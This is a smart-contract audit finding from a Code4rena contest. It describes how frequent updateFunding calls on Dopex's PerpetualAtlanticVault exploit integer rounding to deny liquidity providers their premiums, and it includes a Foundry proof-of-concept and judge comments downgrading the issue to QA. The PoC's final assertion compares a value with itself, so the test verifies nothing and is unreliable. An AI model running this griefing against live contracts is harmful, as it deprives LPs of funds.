Risk of Griefing LPs Through Frequent updateFunding Calls Exploiting Rounding Errors

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L502-L517

Vulnerability details

Impact

An attacker can frequently invoke the updateFunding function, aiming to exploit the calculation (currentFundingRate * (block.timestamp - startTime)) / 1e18. By calling this function every block, the attacker can ensure that the value of block.timestamp - startTime is minimized. If the currentFundingRate is sufficiently low, especially at the beginning of an epoch, the result of the calculation can round down to zero due to integer division. This can lead to liquidity providers (LPs) receiving zero premiums, effectively griefing them and depriving them of expected rewards.

Proof of Concept

The updateFunding function calculates the amount to transfer based on the elapsed time since the last update:

function updateFunding() public {
    ...
    uint256 startTime = lastUpdateTime == 0
      ? (nextFundingPaymentTimestamp() - fundingDuration)
      : lastUpdateTime;
    lastUpdateTime = block.timestamp;

    collateralToken.safeTransfer(
      addresses.perpetualAtlanticVaultLP,
      (currentFundingRate * (block.timestamp - startTime)) / 1e18
    );
    ...
}

An attacker can call this function every block, ensuring that the difference between block.timestamp and startTime (i.e., the elapsed time) is minimal. If the currentFundingRate is low, the multiplication can result in a value that, when divided by 1e18, rounds down to zero.

POC:

  function testGriefingAttack() external {
    deposit(100000, address(this));
    vault.purchase(100000, address(1));
    uint256 amoumntBefore = weth.balanceOf(address(vault));
    console.log("PerpertualAtlanticVault balance of weth before: %s", weth.balanceOf(address(vault)));
    console.log("PerpertualAtlanticVaultLP balance of weth before: %s", weth.balanceOf(address(vaultLp)));
    //calling updateFunding each block for the whole epoch
    for(int i = 0; i <= 86400; i+= 12){
      vault.updateFunding();
      skip(12);
    }
    uint256 amountAfter = weth.balanceOf(address(vault));
    console.log("PerpertualAtlanticVault balance of weth after: %s", weth.balanceOf(address(vault)));
    console.log("PerpertualAtlanticVaultLP balance of weth after: %s", weth.balanceOf(address(vaultLp)));
    assertEq(amoumntBefore,amoumntBefore);
  }

  function deposit(uint256 _amount, address _from) public {
    vm.startPrank(_from, _from);
    rdpx.approve(address(vault), type(uint256).max);
    rdpx.approve(address(vaultLp), type(uint256).max);
    weth.approve(address(vault), type(uint256).max);
    weth.approve(address(vaultLp), type(uint256).max);
    vaultLp.deposit(_amount, address(1));
    vm.stopPrank();
  }

Note: The PoC is using the setup of perp-vault.

Tools Used

Manual Review + Foundry

Recommended Mitigation Steps

Consider using a more precise arithmetic library or mechanism to handle calculations, minimizing the impact of rounding errors.

Assessed type

Math

[c4-pre-sort]

bytes032 marked the issue as duplicate of #237

[c4-pre-sort]

bytes032 marked the issue as sufficient quality report

[c4-pre-sort]

bytes032 marked the issue as duplicate of #761

[c4-judge]

GalloDaSballo marked the issue as not a duplicate

[c4-judge]

GalloDaSballo changed the severity to QA (Quality Assurance)

[GalloDaSballo]

Cost is not negligible, rounding is